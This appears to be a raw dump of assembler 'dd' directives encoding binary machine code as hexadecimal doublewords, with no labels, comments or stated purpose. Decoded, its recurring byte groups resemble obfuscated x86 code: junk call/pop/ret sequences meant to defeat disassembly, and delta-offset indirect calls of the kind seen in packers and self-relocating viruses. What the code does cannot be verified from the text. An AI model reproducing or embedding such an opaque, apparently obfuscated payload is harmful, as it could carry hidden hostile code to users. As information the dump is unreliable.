8104244Ch, 19042444h, 41000000h, 0BC7FC351h, 0A67417D3h dd 6604E180h, 0F7B4EB81h, 840FC90Ah, 174h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5DC35141h, 18B1EA8Bh dd 8BF113A4h, 4D187985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0FDBF7BF2h, 39853399h dd 6A064D06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8C8FC353h, 1E05BD29h, 0A9BF064Dh dd 90493BCFh, 14E8h, 72B16400h, 7EFBF5BDh, 0CE23313h, 9DDD7668h dd 0CF886F59h, 28D0F6Ah, 60000000h, 90505B61h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 59CD984Eh dd 619D89FFh, 6A064D2Fh, 9950900h, 68064D2Eh, 0F501711h dd 0EAEBADBBh, 24348104h, 0F4F14EEh, 0AE9h, 0FF3E5700h dd 0CEB1DFEh, 0FFB14483h, 4D0EB195h, 0E9B58906h, 0F064D32h dd 0A8Fh, 48A0F00h, 66000000h, 898074BFh, 50B79585h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 5E11A689h, 0DE922FDh, 0E7000000h, 0AF7510D3h, 0C93A870Ch dd 20F2BDB1h, 1EDE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0B70F1B3Fh, 0AE9FEh, 0D2890000h dd 72482400h, 0BC92CA2Eh, 0B78D858Bh, 89600650h, 4D238D8Dh dd 61CE8B06h, 1800C7h, 0BD2B0000h, 64D0A75h, 0B791B58Bh dd 9DBB0650h, 8B2955CBh, 4D32E585h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 7DF7488Fh dd 0C0AE5B4Fh, 79BFE79Ah, 8954F525h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D0B2A2Dh dd 64D041Dh, 1879858Bh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F1A1ABC3h, 68A0FEEh dd 8B000000h, 4D0EB9BDh, 4468906h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0EC35646h, 0FDCE990h, 684h dd 599D0300h, 50064D31h, 6A243489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C5BAC355h dd 9CC0A080h, 99A779BFh, 5E80Eh, 91B40000h, 8BFC5EAEh dd 4D04259Dh, 0B5FF5B06h, 650B78Dh, 0FE9h, 7BD01F00h, 0C9E027C5h dd 0E8E6B91Fh, 195C1253h, 779A1168h, 0F98B66BFh, 0EE240481h dd 6A40A769h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0AF7C351h, 0C281D6CBh, 8DD88B66h dd 50B79585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 95922D99h, 4F262DE5h, 0EE90Ah, 417D0000h dd 4CE2F3B6h, 0D2368F93h, 134FA557h, 0BE666050h, 896127D2h dd 9D8B2404h, 64D2489h, 0EB195FFh, 8952064Dh, 4D2A459Dh dd 6A615F06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0FB08C352h, 3BCBE583h, 21C7812Eh dd 0C7103FF7h, 4D02E985h, 306h, 51BD8B00h, 83064D2Eh, 50B795BDh dd 840F0006h, 59h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0CC35242h, 20B383C9h, 0E9D1EA2Bh, 14h dd 9E0A10E2h, 709DEADFh, 33ED6672h, 423A8694h, 0F9BAB94Bh dd 33E9h, 0EE800h, 0EC7B0000h, 375C3058h, 0A186EDCBh, 13ED4646h dd 8DF5BF66h, 0C30505Bh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 51006AF8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0E14C5818h dd 48095D35h, 0AE8F0A1h, 6C000000h, 0ABB33CA0h, 26025C2Dh dd 819BBF56h, 835B2686h, 4D02E9BDh, 850F0306h, 46Fh, 3049BD09h dd 0BD83064Dh, 650B795h, 5C840F00h, 89000004h, 4D05C995h dd 0DA8B6606h, 0B795B5FFh, 6A0650h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9CCD2DC3h dd 0A0394045h, 2AF99D8Bh, 8C0F064Dh, 0 dd 0BE9h, 99597F00h, 0AEEC11C4h, 9FFE7193h, 2D9995FFh dd 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0B3C5FFC3h, 665198C2h, 97CCEB81h, 0B789B58Bh dd 53600650h, 241D8589h, 0B95B064Dh, 22A61D14h, 106C761h dd 6A000100h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 5FBC357h, 58555F6Dh, 0B72A3DA3h dd 0C3816609h, 5096E7A9h, 0BB525052h, 1F906B39h, 585A310Fh dd 5B56310Fh, 6650585Ah, 96C646BBh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C6C35141h, 0AC6D40F9h, 91BD0B03h dd 0FF064D12h, 50B795B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 5611E72h, 78F8466Bh dd 0F9B70FF8h, 0FFD9BF0Fh, 4D308D95h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 4B13F658h, 891CD428h, 4D124DBDh, 7DBD8906h, 8B064D32h dd 4D2E159Dh, 89B58B06h, 890650B7h, 4D1411BDh, 85858B06h dd 8B064D23h, 4D06A5BDh, 0C4868906h, 89000000h, 4D2009B5h dd 99958B06h, 6A064D05h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 3166C356h, 0F605293h dd 89h, 835F6100h, 0BB6604C2h, 50899056h, 55006A20h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 1F0462F8h, 546C29CAh, 0EF8166F6h, 858D0DDFh, 650CBF0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2DC35343h dd 0A5BD0938h, 89064D2Eh, 0B886h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 685E42BFh dd 0B7EFC268h, 6A006ACDh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B6EEC350h, 0E89D5532h dd 13h, 0CBA1459Fh, 1C4647A7h, 88801D65h, 0E0C55A16h, 0F688E87h dd 0FF5FFBBFh, 50B795B5h, 15B58906h, 0FF064D2Eh, 4D243195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 10E950B1h, 8D000000h, 0B9EDE4E1h, 46431E84h dd 0FC70800h, 89A2DD8Dh, 0BB662434h, 0B5FFBE36h, 650B795h dd 0A185FDBBh, 0C195FF49h, 8B064D2Ch, 4D2D69BDh, 0A5BD8306h dd 64D32h, 4B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0FA97C2C3h, 800FB78Fh dd 6, 30899D29h, 6050064Dh, 0CE8h, 5633A700h, 0D9CB338Ah dd 0BC5B35CFh, 5B5F516Fh, 24348961h, 77F78166h, 95B5FFCFh dd 6A0650B7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0C6D2C351h, 1A81BEE0h, 95FF4EB3h dd 64D17C5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 5DC35545h, 10E8h, 94F4CC00h, 0F8928E91h, 3D24AE4h dd 562A1CBDh, 89BB6633h, 0BD295B9Bh, 64D2E89h, 0B795B5FFh dd 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FFBC33C3h, 4D29B995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0F8BF0FA5h dd 1505BD83h, 0F02064Dh, 5384h, 95852900h, 8B064D12h, 4D15A985h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0A74EC530h, 2835B589h, 0C6064Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 7B893C76h, 211185C7h, 64Dh, 0C0BF0000h, 0E96486E8h dd 0FFFFF250h, 8B10E380h, 50006AC1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0C41CBFDDh dd 858D67F1h, 64D0735h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0A2C35646h, 5E960E7h, 0E0000000h, 383C77D8h dd 14E99061h, 2A000000h, 13229E77h, 2C0B5EF7h, 555B6CD6h dd 24C7178Ch, 5033C131h, 7E8h, 0B39A6400h, 0F7A934A9h dd 0EE1EBF57h, 5F5F7D66h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 7F75608Ch dd 6A006A9Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 8B37C353h, 0E99C1084h, 8, 2178F75Dh dd 1FD1CC36h, 10E9h, 0DA439200h, 2F1E385Fh, 1534356Eh dd 35FEB06h, 0E9006AB8h, 0Dh, 8F71D240h, 0C18CBFC4h, 4BEAE540h dd 0AE858DA1h, 60065206h, 6E9h, 54472500h, 81AF2B23h, 8E4DC9E1h dd 0C083617Dh, 90F88B05h, 2800Fh, 0FA8B0000h, 2860F50h dd 8B000000h, 0F5290F9h, 38Dh, 0EEEB8000h, 0C995895Fh dd 6A064D13h, 0F19D3300h, 6A064D1Dh, 0E7816600h, 95FFA98Bh dd 64D1149h, 30D5BD0Bh, 8D8D064Dh, 6509A13h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 69C35646h, 0F385CA3h dd 48Eh, 0ABB6600h, 0C781579Ch, 5ACA5226h, 6AD1FF5Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0C327C351h, 81BD83CEh, 1064D12h, 6E850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BD299DC3h, 0CE93Ah, 51AB0000h, 2F2DA4B2h, 8B68E787h dd 26A0D97h, 8BF68060h, 68D0Fh, 0B5890000h, 64D11C5h, 0B8605061h dd 6F86C849h, 0FDD0CABFh, 4896132h, 6E824h, 697D0000h dd 650D3E75h, 5FFE8B66h, 243195FFh, 9D8B064Dh, 64D0AD9h dd 0D8EE9h, 0E800h, 815D0000h, 5206B8EDh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 50AB5278h, 0AF99D8Bh, 535B064Dh, 5FD98B66h, 8A57858Dh dd 9D8B0650h, 64D0F09h, 0FB8B6690h, 5E95250h, 41000000h dd 0CA01C13h, 9D8B905Bh, 64D2759h, 35FF64h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0B4B3C351h, 76CB6A0Ah, 0B0E9CCEEh, 258964h dd 66000000h, 85FFDE8Bh, 64D1815h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 4CC35242h, 9BE3278Eh, 512E94FBh dd 3BF5CF81h, 8B5F087Eh, 4D30699Dh, 6AFF6A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5E25C357h, 0D16AB829h, 9D89F52Dh, 64D296Dh, 755B5FFh dd 9531064Dh, 64D1BCDh, 41195FFh, 2DE9064Dh, 8B000001h dd 4D29E59Dh, 8900B006h, 4D15E985h, 8B70E606h, 4D30819Dh dd 2B71E406h, 4D05719Dh, 0F613C06h, 10783h, 11BD3300h dd 0F064D0Dh, 8166C8B6h, 0BAB70AC7h, 6, 8433F9BFh, 0FC18B0Dh dd 1884h, 13E900h, 85C70000h, 0A7A677A2h, 326F23F8h, 0C348CBB4h dd 7B6F82B9h, 4E8C11Ah, 0E2F766F8h, 0E8C0Fh, 8B600000h dd 4D2FD1B5h, 0E7F08106h, 61428FFEh, 8531C82Bh, 64D1B81h dd 0A4C8BF66h, 0A1E9D18Bh, 8B000000h, 4D2305BDh, 49858B06h dd 8B44004Eh, 4D2F559Dh, 47DB8106h dd 837F8FE8h, 9D3307C0h, 64D0B19h, 0F00C083h, 0D03BF8BFh dd 0D830Fh, 5B530000h, 6BE9h, 59BD8B00h, 8B064D0Ah, 0FFFFFF8Dh dd 11E9FFh, 4D420000h, 336F8A5Ah, 770D701Eh, 0E12627DBh dd 8336CDCFh, 840F01E1h, 40h, 26D18D89h, 67BB064Dh, 83055CD5h dd 0FFFFFFA5h, 880FFEFFh, 5, 70F5A5BBh, 4995896Dh, 0E944004Eh dd 13h, 3C3CDB9Eh, 5C7BD98Fh, 65A1D790h, 30820080h, 0E94D9AA6h dd 0 dd 83F1B58Dh, 6A0651h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 4048D2C3h, 6A194BE2h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 2D9D091Ch, 0F064D31h, 68Dh, 5D9D8B00h, 0FF064D30h, 4D051195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8E91F5Eh, 0FB000000h, 0A24171ACh, 8B8320DBh dd 117EB9F8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E6C2A9C3h, 48B0FA3h, 66000000h dd 8336DABBh, 0BD8BFCE1h, 64D2B01h, 398D89FCh, 0B8064D07h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EEC35545h dd 8E9468Ch, 5E000000h, 0F109F4EFh, 89D245C6h, 4D073195h dd 8BD22B06h, 4D1845BDh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 0A19D89F4h, 0BF064D31h, 7CE02E86h, 9820Fh, 890F0000h dd 3, 0DDEB70Fh, 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 32C35242h, 13E9F0B1h, 6B000000h, 0FC08AFB1h dd 7A7A61EDh, 48D4B4A5h, 0DDF7A882h, 958B1894h, 64D0599h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7CC35343h dd 0C4DA0602h, 490B4118h, 12E2EBBh, 0CECF8038h, 51D8D8Bh dd 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0BAFB71C3h, 5A59D8Bh, 8B50064Dh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 1EC35343h, 15A58589h, 0BD83064Dh dd 64D1C45h, 4E840F00h, 89000000h, 4D21919Dh, 0B806h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E8EF83C3h, 6, 0D2EAB2E7h, 9D8BD4E3h, 64D234Dh, 0E58D8D5Fh dd 9064D4Dh, 4D13D5BDh, 89E1FF06h, 4D1211BDh, 0E9BD8306h dd 64D02h, 415840Fh, 0F600000h, 8D0FC6BFh, 6, 2F2D8D8Bh dd 8361064Dh, 4D02E9BDh, 840F0106h, 412h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 6AC35646h, 0D6BEAFF7h dd 5E9h, 50E44E00h, 0BD83F007h, 64D02E9h, 0A5860F03h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0BE36C357h, 8D01559Fh, 64D1875h, 9E960h dd 342F0000h, 785ED287h, 66E1286Eh, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B53188C3h dd 64D105Dh, 0A04E180h, 2E840FC9h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 5D73C351h, 858B4827h, 64D1879h, 2DB59589h, 8533064Dh dd 64D0639h, 2165BD8Bh, 6690064Dh, 6650FE8Bh, 9048E4BFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 58C35747h dd 0E8006A5Fh, 4, 1F03FFh, 11E8h, 0B2E74100h, 0D4E3D2EAh dd 7B50C8E9h, 0BAC27545h, 0AE8F3B4h, 0FC000000h, 0A7A21538h dd 7068B674h, 505F5F57h, 5E8h, 0F6D06400h, 18BF9E1Bh, 5F6BEEDAh dd 424448Bh, 35F7BB66h, 9BB008Bh, 89518695h, 0E9042444h dd 5, 1F6BFCDEh, 9529582Bh, 64D318Dh, 0EB195FFh, 6A064Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0E20280C3h, 6F336E05h, 0EB8166C2h, 85895E33h, 650B795h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4C35747h dd 0DA3F80CAh, 0CD9C95D3h, 0D98B6635h, 1ABE9h, 0FB8B6600h dd 0E552C4BFh, 8D858B1Ch, 90650B7h, 4D1861BDh, 1800C706h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0DC80C357h, 0F9248FD1h, 32318529h dd 0B58B064Dh, 650B791h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 82C35343h, 0EC430C2Bh, 0BF6B9560h, 7D376D77h dd 8BFBBF0Fh, 4D32E585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8965D40Fh, 4D05A595h dd 0F9068906h, 1879858Bh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 894949C3h, 4D0DC98Dh dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0DBC35747h, 0AF2E11D6h, 3999D8Bh, 0EB81064Dh, 3AA9E9F9h dd 7E950h, 371D0000h, 0AA2C3F02h, 24348955h, 15E59D8Bh dd 0B5FF064Dh, 650B78Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 91C35747h, 8BB9ABFFh, 4D23D19Dh, 4D9D8B06h dd 68064D0Ch, 0C6249BEEh, 0FF31BB66h, 11240481h, 6639FA68h dd 8D5EA6BBh, 50B79585h, 89FC6006h, 4D1AD1B5h, 9D896106h dd 64D2715h, 0FE950h, 0EC290000h, 0B93E826h, 0FDEF9D43h dd 949252C9h, 24048927h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0C8C35747h, 51BD8BECh, 0FF064D2Eh, 4D0EB195h dd 0DEBF0F06h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 3432EF2Ch, 0E985C738h dd 3064D02h, 52000000h, 6820Fh, 9D030000h, 64D1009h, 95BD835Fh dd 650B7h, 2A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 9D8916C3h, 64D2ED5h dd 1EE9h, 0F98B6600h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0BC49C357h, 9E9F5h dd 74780000h, 919A601h, 6AB54C2Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D4BDC350h dd 0EA7F2113h, 0B589EB3Dh, 64D21A1h, 2E9BD83h, 0F03064Dh dd 41A85h, 0DA8B6600h, 0B795BD83h, 0F000650h, 40A84h, 59D8900h dd 0FF064D31h, 50B795B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 3186D2DFh dd 4D1AB1B5h, 8E906h, 0D8840000h, 0D9AD8CCBh, 95FF96C9h dd 64D2D99h, 1D4A48BBh, 89B58B16h, 6A0650B7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0AB7DC350h, 67BFA507h, 0D912563h, 0D98B6651h, 106C75Bh dd 0F000100h, 6650DEB7h, 8904F8BFh, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0CF781C3h dd 8925256Fh, 4D1DFD8Dh, 5850F06h, 66000000h, 0EB75CF81h dd 0B795B5FFh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0EAD088C3h, 8D95FFF9h, 6A064D30h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0A149C356h, 0B58BCDA7h, 650B789h, 19890Fh dd 14E90000h, 6B000000h, 0BE9585A0h, 0F89187Ch, 3273BC9Fh dd 11929170h, 8B8EA212h, 4D238585h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D5B52971h dd 89064D27h, 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0AF8A9A25h, 0C985898Bh dd 8B064D1Ah, 4D059995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0E2B756B6h, 4C283A8h dd 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 17C35040h, 66C00C5Ah dd 9BCDEF81h, 0BB205089h, 2A304355h, 0CBF0858Dh, 89F80650h dd 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0A8FF9800h, 50EBE16Ah, 13E964h, 5DB30000h dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah, 870F22h dd 6A000000h, 6D8D2900h, 0FF064D17h, 50B795B5h, 0CFB7BB06h dd 0BD2B3088h, 64D2551h, 243195FFh, 6A064Dh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8934C3h dd 64D21F5h, 7E896h, 4E050000h, 1DC679E7h, 11E9A3h, 0B2880000h dd 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h, 5F3522A0h, 0FE850h dd 0A1F10000h, 0D15803BFh, 978FDAD3h, 0E0623C61h, 5F35B7BAh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 993B2CDEh, 66319586h, 0FF49FFBBh, 50B795B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 150920A1h, 0C195FFB9h, 2B064D2Ch, 4D23D99Dh dd 0A5BD8306h, 64D32h, 30840Fh, 8B660000h, 8D0F50D8h, 2 dd 3489A1B3h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66705BA9h, 0B5FFFA8Bh, 650B795h dd 15959D8Bh, 95FF064Dh, 64D17C5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0B4C35747h, 70C29B5Ch, 95B5FF81h dd 0F0650B7h, 28Dh, 0FFDCB700h, 4D29B995h, 0D9BF0F06h dd 1505BD83h, 0F02064Dh, 4C84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858BB115h dd 64D15A9h, 34BB6656h, 0C65F06h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 53F20ECFh dd 1185C7BCh, 64D21h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 4513C351h, 0B540719Dh dd 79B58938h, 0E9064D1Bh, 0FFFFF365h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0C7C35141h, 7C8C66Ah, 8B6DA8B8h dd 65BD8BC1h, 8D064D1Ch, 4D073585h, 50FA8A06h, 12E96060h dd 6D000000h, 1594D827h, 57193CE6h, 0D2B64ED2h, 0C7F73D7h dd 0D98B6177h, 24048961h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0ACC35040h, 4C98D741h, 89AACCA1h, 4D1809B5h dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B50C356h, 4D038DBDh, 0F006A06h dd 580h, 0EB816600h, 858D9F97h, 6521633h, 0AE8h, 26678C00h dd 27D266A1h, 898F7DB7h, 4D1181BDh, 0C0835B06h, 9E905h dd 0FEA50000h, 0D431A16Bh, 9034B337h, 12E9h, 0BE90AD00h dd 0A55684B1h, 0AF316A98h, 19D58F88h, 508D755Eh, 90D88B66h dd 1A859D8Bh, 6A064Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 35C35545h, 26499D89h, 0DBBF064Dh, 6A2E5EA1h dd 0FF91B300h, 4D114995h, 0F9BD8906h, 8D064D2Ch, 509A138Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0F03309D6h, 9D03637Ah, 64D0E61h, 0BF0FD1FFh dd 81BD83D9h, 1064D12h, 0A7850Fh, 81660000h, 6ADB9CC3h dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0A2610537h, 666E94BBh, 1067C381h, 0CEDCBF66h dd 9E9h, 0CA7F4100h, 0F093FF09h, 6050381Ah, 0BE9h, 4E6F6F00h dd 64C14829h, 6047B113h, 9154B956h, 6159278Fh, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 7580C353h, 0FF65829Fh, 4D243195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD318E42h, 64D21D1h, 0D8FE9FCh, 0E80000h, 5D000000h dd 163DED81h, 6A0652h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0B66242C3h, 56A2CADEh, 80D5C1FBh dd 81669AEFh, 6A795FCFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 137CC356h, 6BA6B369h dd 74199B69h, 8DFEBF0Fh, 508A5785h, 0CCDF8106h, 905DEF8Ch dd 66505F52h, 908810BBh, 138D0Fh, 0EE90000h, 3D000000h dd 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 35FF64BAh, 0 dd 44D9D8Bh, 8964064Dh, 25h, 83E78000h, 181585FFh, 6A064Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0EDE114C3h, 4556E474h, 860FB7A2h, 0Dh, 698D8B60h, 66064D2Ch dd 4777D281h, 6AFF6A61h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0FD84C353h, 12E8C0h dd 36A40000h, 2474AD89h, 985D6A0Ch, 8804E5B2h, 3DC91E4Ah dd 5349CFBFh, 0C9BB5F37h, 0FF45D0D1h, 4D227DB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 820F811Ah, 6, 0B58D89h, 95FF064Dh, 64D0411h, 112E9h dd 0E600B000h, 0F9B70F70h, 9E871E4h, 0CA000000h, 54E352E0h dd 1699AB9Fh, 14B19D89h, 3C5B064Dh, 0EC830F61h, 3000000h dd 4D149DBDh, 0C8B60F06h, 22B19D8Bh, 6BA064Dh, 0F000000h dd 587h, 0C006BB00h, 0C18B20A5h, 32999529h, 0E8C1064Dh dd 0CE804h, 4BBC0000h, 0F5E36963h, 14EFFE41h, 0BD8B86D0h dd 64D26D1h, 0E2F7665Fh, 0A3DBD8Bh, 0E380064Dh, 66C82B84h dd 8BD0F4BBh, 0D5B509D1h, 0E9064D2Eh, 8Bh, 202DB501h, 858B064Dh dd 505F4C4Ch, 14498D89h, 9D8B064Dh, 64D0545h, 0E907C083h dd 7, 48352AF5h, 83E9C51Dh, 0D2BF00C0h, 3B4EF90Ch, 10830FD0h dd 23000000h, 4D0EF19Dh, 49E906h, 0C6BB0000h, 8B602E12h dd 0FFFFFF8Dh, 11E9FFh, 0B2490000h, 6F9DC34Ch, 0FC36918Ch dd 658D0703h, 83390EA4h, 840F01E1h, 1Fh, 5E9h, 533CC000h dd 0A583C7C6h, 0FFFFFFFFh, 89DA8BFEh, 5F4C4C95h, 0E9FC50h dd 8D000000h, 51956FB5h, 0D9BF0F06h, 69D78166h, 89006A8Ah dd 4D2C71BDh, 1195FF06h, 6A064D05h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 